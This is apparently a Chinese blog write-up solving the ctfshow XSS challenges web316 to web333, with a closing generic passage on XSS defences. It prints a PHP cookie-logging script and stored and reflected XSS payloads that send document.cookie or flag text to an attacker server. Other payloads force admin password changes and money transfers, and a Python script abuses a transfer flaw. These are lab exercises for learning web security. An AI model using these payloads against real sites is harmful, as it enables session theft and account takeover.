ctfshow XSS web316~web333

web316

反射性 XSS

题目提示我们要以 admin 获取
在这里插入图片描述
奇葩的是用网上的 xss 平台,获取的 cookie 全是自己的。

可以在自己的服务器上,创建一个接收 cookie 的 PHP 文件:

<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.':    '. $cookie . "\n");
fclose($log);
?>

构造 xss 语句:

<script>location.href="http://ip/x.php?cookie="+document.cookie</script>

在这里插入图片描述

web317

过滤了 script,标签可以用 img 标签。

<img src="" onerror=location.href="http://ip/x.php?cookie="+document.cookie>

在这里插入图片描述

web318-319

img 标签也被过滤了,可以用 body 标签。

<body onload=location.href="http://ip/x.php?cookie="+document.cookie>

在这里插入图片描述

web320-326(反射型)

上面的 payload 用不了,测试一番发现过滤了空格,可以用 / 绕过。

<body/onload=location.href="http://ip/x.php?cookie="+document.cookie>

在这里插入图片描述

web327(存储型xss)

收件人 admin

<body/onload=location.href="http://ip/x.php?cookie="+document.cookie>

在这里插入图片描述

web328

在用户管理处显示要 admin 权限,且显示会显示所有的用户名密码,说明它会存储在某个地方,那么这个存的用户名和密码处会不会产生 xss 呢?

答案是会产生 xss
上面的那个 body 标签没用了,我们可以使用 <script> 标签。

<script>location.href='http://ip/x.php?cookie='+document.cookie</script>

更改phpsessid 访问用户管理的时候,会跳转,我们可以抓包查看。
在这里插入图片描述
在这里插入图片描述

web329

继续用上面的payload 获得了 admin 的 cookie,但是访问的时候却还显示不是 admin,并且 cookie 会变化,也就是说这个 cookie 在使用后就没用了。
在这里插入图片描述
看了 bilibili 里的视频后,学到一种姿势,因为它会把我们的 xss 代码即使是在用户管理里也会执行,所以我们可以这届把 flag 发送到我们的服务器里。

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
	if(value.innerText.indexOf('ctfshow{')>-1)
	{location.href='http://ip/x.php?cookie='+value.innerText}
});
</script>

payload:

<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerText.indexOf('ctfshow{')>-1){location.href='http://ip/x.php?cookie='+value.innerText}});</script>

在这里插入图片描述

web330

有修改密码的地方,那我们不就可以直接修改 admin 的密码了吗。

路径也知道了。
在这里插入图片描述
payload:

<script>location.href="http://127.0.0.1/api/change.php?p=12345678"</script>

最后登录抓包得到 flag

在这里插入图片描述

web331

和上一题不同的是,这次的是 post 请求,用 ajax 异步请求。

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'111'}});</script>

在这里插入图片描述
最后注册,登录 admin 拿到 flag
在这里插入图片描述

web332

经测试自己转账给自己,余额不降反升,那么写个脚本跑一下呗。

import requests
url = 'http://ef46a706-80af-4a5c-8168-42d0aa88b161.challenge.ctf.show/api/amount.php'
money = 4
for i in range(100):
    data = {
        'u':'111',
        'a':money
    }
    money += 4
    cookie = {
        'PHPSESSID':'p8fk0f6lht46n8h5n96u5m7fjs'
    }
    req = requests.post(url,data=data,cookies=cookie)
    print(req.text)

在这里插入图片描述

web333

同上
在这里插入图片描述
预期解释通过 ajax 异步提交 post 数据,让 admin 转账给我们。

具体步骤是,先注册一个收款人用户,再注册一个 xss 用户,之后等会,admin 就转完了。

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'111',a:'10000'}});</script>
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XSS (Cross-Site Scripting) 是一种常见的安全漏洞,攻击通过注入恶意脚本来攻击网站用户。为了防止XSS攻击,可以使用XSS过滤器来对用户输入的数据进行处理和过滤。 XSS过滤器的主要目标是检测和阻止恶意脚本的注入。它可以通过以下几种方式来实现: 1. 输入验证: 对用户输入的数据进行验证,确保只接受符合预期格式和类型的数据。例如,如果一个输入字段只允许数字,那么任何非数字的输入都应该被拒绝。 2. 输出转义: 对从数据库或其他来源检索到的数据进行适当的转义处理,确保在将其插入到HTML页面时不会被解释为可执行的脚本代码。常见的转义包括将特殊字符如<、>、&等替换为对应的HTML实体编码。 3. 内容安全策略(CSP): 使用CSP可以限制页面中可以加载和执行的资源,从而减少XSS攻击的可能性。CSP可以配置允许加载的外部脚本、样式表和图片等资源,同时禁止内联脚本和eval()等危险函数的使用。 4. HttpOnly Cookie: 将敏感信息存储在HttpOnly Cookie中,这样可以防止客户端的脚本访问和修改Cookie内容,减少XSS攻击的影响范围。 5. 使用安全的编程语言和框架: 选择使用经过安全性测试的编程语言和框架,它们通常提供了内置的安全机制和过滤器,帮助减少XSS攻击的风险。 综合上述措施可以加强网站的安全性,但是XSS攻击的方法和技术不断演变,所以保持对最新安全威胁的了解和及时更新防护措施也是非常重要的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值